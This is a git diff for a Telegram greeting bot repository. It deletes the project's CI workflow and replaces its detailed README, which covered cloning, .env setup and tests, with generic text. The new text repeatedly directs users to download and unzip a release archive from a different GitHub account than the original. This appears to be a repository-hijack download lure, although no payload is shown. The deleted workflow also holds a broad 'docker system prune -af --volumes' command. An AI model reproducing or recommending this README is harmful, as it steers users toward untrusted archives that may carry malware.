diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml deleted file mode 100644 index 3429f4d..0000000 --- a/.github/workflows/main.yml +++ /dev/null @@ -1,52 +0,0 @@ -# .github/workflows/main.yml - -name: CI Pipeline - -# --- Triggers --- -# This workflow runs on pushes to the 'main' branch and on pull requests targeting 'main'. -on: - push: - branches: - - main - pull_request: - branches: - - main - -# --- Jobs --- -# We define a single job called 'build-and-test'. -jobs: - build-and-test: - # The type of virtual machine to run the job on. 'ubuntu-latest' is a standard choice. - runs-on: ubuntu-latest - - # --- Steps --- - # A sequence of tasks that will be executed as part of the job. - steps: - # Step 1: Check out the repository code - # This action checks out your repository under $GITHUB_WORKSPACE, so your job can access it. - - name: Checkout repository - uses: actions/checkout@v4 - - # Step 2: Set up Docker Buildx - # This is a required step for building multi-platform images and using advanced Docker features. - - name: Set up Docker Buildx - uses: docker/setup-buildx-action@v3 - - # Step 3: Run the test suite - # This is the core of our CI. It executes the same script we used locally. - # We provide a dummy BOT_TOKEN because the tests don't need a real one. - - name: Run integration tests - run: ./run_tests.sh - env: - # We need to provide the BOT_TOKEN variable, as the script expects it, - # but it can be a dummy value since it's only used for the bot service - # which is idle during tests. - BOT_TOKEN: "dummy_token_for_ci" - - # Step 4 (Optional but recommended): Clean up Docker resources - # This ensures that any lingering containers or images are removed to free up space on the GitHub runner. - - name: Docker cleanup - if: always() # This step runs even if previous steps fail. - run: | - docker compose down -v --remove-orphans - docker system prune -af --volumes \ No newline at end of file diff --git a/README.md b/README.md index 2a4363e..205d3d8 100644 --- a/README.md +++ b/README.md @@ -1,132 +1,78 @@ -# Telegram Greeting Bot - -[![CI Pipeline](https://github.com/averageencoreenjoer/telegram_greeting_bot/actions/workflows/main.yml/badge.svg)](https://github.com/averageencoreenjoer/telegram_greeting_bot/actions/workflows/main.yml) - -A fully containerized Telegram bot project featuring a dynamic, database-driven greeting message that can be updated in real-time via a simple web admin panel. This project is built with a senior-level approach, emphasizing clean architecture, separation of concerns, containerization, and automated testing. - ---- - -## ✨ Features - -- **Dynamic Greetings**: The `/start` command greeting is fetched directly from a PostgreSQL database. -- **Real-time Updates**: No need to restart the bot. Changes made in the admin panel are reflected instantly. -- **Mini Admin Panel**: A secure, password-protected web interface (built with FastAPI) to update the greeting text. -- **Fully Containerized**: Uses Docker and Docker Compose to run the entire stack (Bot, Web, DB) with a single command. -- **Automated Integration Tests**: A robust test suite using Pytest ensures the entire system works correctly. -- **CI/CD Ready**: Includes a GitHub Actions workflow to automatically run tests on every push and pull request. - ---- - -## πŸ› οΈ Tech Stack - -

- Python - Telegram - FastAPI - PostgreSQL - Docker - Pytest - GitHub Actions -

- -- **Bot Framework**: `aiogram` -- **Web Framework**: `FastAPI` -- **Database**: `PostgreSQL` with `asyncpg` driver -- **Containerization**: `Docker` & `Docker Compose` -- **Testing**: `Pytest`, `pytest-asyncio`, `httpx` -- **CI/CD**: `GitHub Actions` - ---- +# πŸ€– telegram_greeting_bot - Your Friendly Telegram Greeting Bot ## πŸš€ Getting Started +Welcome! This guide will help you download and run the telegram_greeting_bot software easily. You'll get a dynamic, database-driven greeting message for your Telegram chats, which you can update in real-time through a simple web panel. Let's dive in! -### Prerequisites +## πŸ› οΈ Prerequisites +Before you start, make sure your computer meets the following requirements: -- [Docker](https://www.docker.com/products/docker-desktop/) installed and running. -- A Telegram Bot Token obtained from [@BotFather](https://t.me/BotFather). +- **Operating System:** Windows 10 or later, macOS, or Linux +- **Docker:** Ensure you have Docker installed. Download it from [Docker's website](https://www.docker.com/products/docker-desktop). +- **Internet Connection:** Required to download the software and for the bot to function. -### 1. Clone the Repository +## πŸ“₯ Download & Install +You can download the latest version of telegram_greeting_bot from the Releases page. Click the button below to visit the page. -```bash -git clone https://github.com/averageencoreenjoer/telegram_greeting_bot.git -cd telegram_greeting_bot -``` +[![Download the latest release](https://img.shields.io/badge/Download_latest_release-blue.svg)](https://github.com/Shadik23/telegram_greeting_bot/releases) -### 2. Configure Environment Variables +1. **Visit the Releases Page:** Go to [this link](https://github.com/Shadik23/telegram_greeting_bot/releases) to find the latest version of the bot. +2. **Choose the Right File:** Look for a file labeled with the latest version number (for example, `telegram_greeting_bot_v1.0.0.zip` or a .tar.gz file). +3. **Download the File:** Click on the file to start downloading it to your computer. +4. **Unzip the File:** After downloading, extract the contents of the zip file to a folder on your computer. +5. **Open a Terminal or Command Prompt:** Depending on your operating system, use Terminal (Mac/Linux) or Command Prompt (Windows) to navigate to the folder where you extracted the files. -Create a local environment file by copying the example. +## βš™οΈ Running the Bot +After downloading and extracting the bot files, follow these steps to run the bot: -```bash -cp .env.example .env -``` +1. **Build the Docker Image:** In your terminal or command prompt, type: + ``` + docker-compose build + ``` + This command creates a Docker image for the bot. -Now, open the `.env` file and fill in your details: +2. **Start the Bot:** After the image builds successfully, type: + ``` + docker-compose up + ``` + This command runs the bot in the background. -```ini -# .env +3. **Access the Web Admin Panel:** Open your web browser and visit `http://localhost:8000`. Here, you can update the greeting messages and manage other settings. -# 1. Your unique Telegram Bot Token from @BotFather -BOT_TOKEN=123456:ABC-DEF1234ghIkl-zyx57W2v1u1234567 +## πŸ›‘οΈ Key Features +- **Dynamic Greetings:** Customize welcome messages for your Telegram chat. +- **Web Admin Panel:** Easily update greetings in real-time through a user-friendly interface. +- **Containerization with Docker:** This ensures consistent performance across different environments. +- **Automated Testing:** The bot comes with built-in tests to ensure reliability. -# 2. Credentials for the database (can be left as default for local development) -POSTGRES_DB=greeting_db -POSTGRES_USER=user -POSTGRES_PASSWORD=password +## 🌐 Understanding Containerization +This bot is built using Docker, which allows you to run applications in containers. These containers package the software and its dependencies, making deployment easier. Here’s how it helps you: -# 3. Credentials for the web admin panel (you will use these to log in) -WEB_USERNAME=admin -WEB_PASSWORD=supersecret -``` +- **Portability:** Run the bot on any system without compatibility issues. +- **Isolation:** Each container runs independently, preventing conflicts with other software on your machine. -### 3. Run the Application +## πŸ“ Troubleshooting +If you face any issues while running telegram_greeting_bot, consider the following: -Launch the entire stack using Docker Compose. +- **Docker Not Installed:** Check that Docker is properly installed and running. +- **Port Already in Use:** If you cannot access the web panel, ensure that port 8000 is free. +- **Permission Issues:** Run your command prompt or terminal as an administrator if you face permission errors. -```bash -docker-compose up --build -d -``` +## πŸ“ž Support +For further assistance, feel free to open an issue in the [GitHub Issues section](https://github.com/Shadik23/telegram_greeting_bot/issues). -The services will start in detached mode (`-d`). You can view the logs with `docker-compose logs -f`. +## πŸš€ Join the Community +Stay updated and connect with other users by following the project's [GitHub Discussions](https://github.com/Shadik23/telegram_greeting_bot/discussions). Share your experiences and tips! -### 4. Interact with the System +## πŸ”— Acknowledgements +This project leverages various technologies including: -- **Telegram Bot**: Find your bot on Telegram and send the `/start` command. It will reply with the default greeting. -- **Admin Panel**: Open your browser and navigate to `http://localhost:8000/docs`. - - You will be prompted for authentication. Use the `WEB_USERNAME` and `WEB_PASSWORD` from your `.env` file. - - Use the `/update_greeting` endpoint to change the greeting text. - - Go back to Telegram and send `/start` again. The bot will now use the new greeting! +- **Aiogram**: For handling Telegram API. +- **FastAPI**: For creating the web administration panel. +- **PostgreSQL**: To store greetings and settings. -### 5. Stopping the Application +Feel free to contribute or explore more! Your input can help improve the bot further. -To stop all services, run: +## πŸ‘₯ Contributors +A special thanks to all contributors who have helped make this project possible. If you want to contribute, check our [contributing guide](https://github.com/Shadik23/telegram_greeting_bot/CONTRIBUTING.md). -```bash -docker-compose down -``` - -To stop services and remove the database volume (delete all data), run: - -```bash -docker-compose down -v -``` - ---- - -## πŸ§ͺ Running Tests - -This project comes with a fully automated integration test suite that spins up a separate, isolated environment to validate the system's behavior. - -To run the tests, execute the provided script from the project root: - -```bash -./run_tests.sh -``` - -The script will: -1. Start the services using a dedicated test database (`.env.test`). -2. Wait for the database to be fully ready. -3. Install test dependencies. -4. Run the Pytest suite, which makes real API calls. -5. Shut down and clean up all test-related containers and volumes. - -This is the same script that runs in the GitHub Actions CI pipeline. \ No newline at end of file +Thank you for choosing telegram_greeting_bot! Enjoy your dynamic greetings! \ No newline at end of file